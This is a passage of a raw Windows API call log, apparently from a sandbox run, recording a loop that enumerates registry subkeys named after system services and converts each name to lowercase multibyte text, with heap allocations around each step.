(HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.359] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.360] RegEnumKeyW (in: hKey=0x154, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0247.360] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.360] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f19b8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0247.360] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.360] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.360] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.360] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.360] RegEnumKeyW (in: hKey=0x154, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0247.360] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0247.360] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1b68, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0247.360] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.360] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.360] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.360] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.360] RegEnumKeyW (in: hKey=0x154, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0247.360] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.360] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0247.360] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.360] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.360] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.360] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.360] RegEnumKeyW (in: hKey=0x154, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0247.360] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.360] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0247.361] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.361] RegEnumKeyW (in: hKey=0x154, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0247.361] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.361] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0247.361] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.361] RegEnumKeyW (in: hKey=0x154, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0247.361] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.361] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0247.361] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.361] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0247.361] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.361] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f19b8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0247.361] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.361] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.362] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0247.362] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.362] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0247.362] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.362] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.362] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.362] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.362] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0247.362] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.362] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f19b8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0247.362] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.362] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.362] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.362] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.362] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0247.362] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.362] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0247.362] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.362] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.362] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.362] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.362] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0247.362] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.362] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f19b8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0247.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.363] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.363] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.363] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.363] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0247.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0247.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.363] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.363] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.363] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.363] RegEnumKeyW (in: hKey=0x154, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0247.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0247.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.363] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.363] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.363] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.363] RegEnumKeyW (in: hKey=0x154, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0247.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0247.363] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.363] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.363] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.363] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.364] RegEnumKeyW (in: hKey=0x154, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0247.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0247.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.364] RegEnumKeyW (in: hKey=0x154, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0247.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0247.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.364] RegEnumKeyW (in: hKey=0x154, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0247.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0247.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.364] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.364] RegEnumKeyW (in: hKey=0x154, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0247.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0247.365] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.365] RegEnumKeyW (in: hKey=0x154, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0247.365] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.365] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0247.365] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.365] RegEnumKeyW (in: hKey=0x154, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0247.365] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.365] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0247.365] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.365] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.365] RegEnumKeyW (in: hKey=0x154, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0247.365] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.365] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, 